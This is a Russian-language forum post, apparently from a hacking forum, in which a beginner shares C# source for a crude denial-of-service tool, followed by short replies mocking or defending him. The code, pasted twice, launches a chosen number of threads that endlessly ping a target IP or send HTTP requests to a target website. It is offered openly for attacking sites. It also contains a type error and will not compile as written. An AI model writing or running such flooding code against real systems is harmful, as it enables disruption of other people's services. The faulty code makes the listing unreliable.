Всем привет! Я решил написать свой (фиговый) пример Dos программы! Вот код static void Main() { bool isIp = true; Console.WriteLine("Привет ебать! Эта программа по досу сайтов и айпи) "); //обращение) Console.WriteLine("Будим ебашить ip или сайт? (ip - 1 сайт - 2)");//спрашиваем что будем делать int IsDos= Console.ReadLine(); //Записываем ответ в переменную IsDos Console.WriteLine("Во сколько потоков? (чем больше тем лучше ддос но и жрать систему будет больше)(например 100)"); //спрашиваем во сколько потоков будем досить int thread1 = Convert.ToInt32(Console.ReadLine()); // записываем ответ в переменную thread1 if (IsDos == 1) //если IsDos равен 1 (тоесть ip) то isIp равен true { isIp = true; } else // если нет то false { isIp = false; } Console.WriteLine("Введи ip или сайт (без http://)"); // спрашиваем ip или сайт string ip = Console.ReadLine(); // Записываем в переменную ip threading(isIp, ip, thread1); // Вызываем метод threading } static void threading(bool IsIP2, string ip12, int num) // этот метод создаёт потоки в аргументах указываем ip { if (IsIP2) // если IsIp2 равен true то создает поток с методом ipDos { for(int i = 0; i < num; i++) { Thread myThread = new Thread(new ParameterizedThreadStart(ipDos)); myThread.Start(ip12); } } else // если нет то создает поток с методом SiteDos в аргументах указываем сайт { for (int i = 0; i < num; i++) { Thread myThread = new Thread(new ParameterizedThreadStart(SiteDos)); myThread.Start(ip12); } } } static void ipDos(object ip1) // метод который досит ip { string ip12 = (string)ip1; // IPAddress ip = null; ip = IPAddress.Parse(ip12); int num = 0; while (true) { num++; var ping = new Ping(); //Если IP пропарсился нормально, то пингуем if (ip != null) ping.Send(ip); Console.WriteLine(num + "SUCED"); if (num % 10000 == 0) GC.Collect(); } } static void SiteDos(object ip12) { int num = 0; while (true) { num++; string ip1 = (string)ip12; //Создаём запрос var r = (HttpWebRequest)WebRequest.Create("http://" + ip1); //Начинаем слушать ответ r.BeginGetResponse(new AsyncCallback((IAsyncResult res) => { }), null); Console.WriteLine(num + "SUCED"); if (num % 10000 == 0) GC.Collect(); } } Код static void Main() { bool isIp = true; Console.WriteLine("Привет ебать! Эта программа по досу сайтов и айпи) "); //обращение) Console.WriteLine("Будим ебашить ip или сайт? (ip - 1 сайт - 2)");//спрашиваем что будем делать int IsDos= Console.ReadLine(); //Записываем ответ в переменную IsDos Console.WriteLine("Во сколько потоков? (чем больше тем лучше ддос но и жрать систему будет больше)(например 100)"); //спрашиваем во сколько потоков будем досить int thread1 = Convert.ToInt32(Console.ReadLine()); // записываем ответ в переменную thread1 if (IsDos == 1) //если IsDos равен 1 (тоесть ip) то isIp равен true { isIp = true; } else // если нет то false { isIp = false; } Console.WriteLine("Введи ip или сайт (без http://)"); // спрашиваем ip или сайт string ip = Console.ReadLine(); // Записываем в переменную ip threading(isIp, ip, thread1); // Вызываем метод threading } static void threading(bool IsIP2, string ip12, int num) // этот метод создаёт потоки в аргументах указываем ip { if (IsIP2) // если IsIp2 равен true то создает поток с методом ipDos { for(int i = 0; i < num; i++) { Thread myThread = new Thread(new ParameterizedThreadStart(ipDos)); myThread.Start(ip12); } } else // если нет то создает поток с методом SiteDos в аргументах указываем сайт { for (int i = 0; i < num; i++) { Thread myThread = new Thread(new ParameterizedThreadStart(SiteDos)); myThread.Start(ip12); } } } static void ipDos(object ip1) // метод который досит ip { string ip12 = (string)ip1; // IPAddress ip = null; ip = IPAddress.Parse(ip12); int num = 0; while (true) { num++; var ping = new Ping(); //Если IP пропарсился нормально, то пингуем if (ip != null) ping.Send(ip); Console.WriteLine(num + "SUCED"); if (num % 10000 == 0) GC.Collect(); } } static void SiteDos(object ip12) { int num = 0; while (true) { num++; string ip1 = (string)ip12; //Создаём запрос var r = (HttpWebRequest)WebRequest.Create("http://" + ip1); //Начинаем слушать ответ r.BeginGetResponse(new AsyncCallback((IAsyncResult res) => { }), null); Console.WriteLine(num + "SUCED"); if (num % 10000 == 0) GC.Collect(); } }
Дос сайтов с 1 компьютера, путём отправки http запросов :peka::peka::spain:. В теории должно сработать (нет), а на практике даже лучше не пытаться. Надеюсь ты этой прогой лолз не положишь :warpath:. А так попытка не плохая.
GoodentaK, нет, это называется ты доебался к новичку, который сам ещё нихрена не понимает, а вы уже лезете со своими 'советами '
Abraxuy, я же написал "на будущее", я же не сказал ему сейчас сразу начать так делать, со временем он придет к этому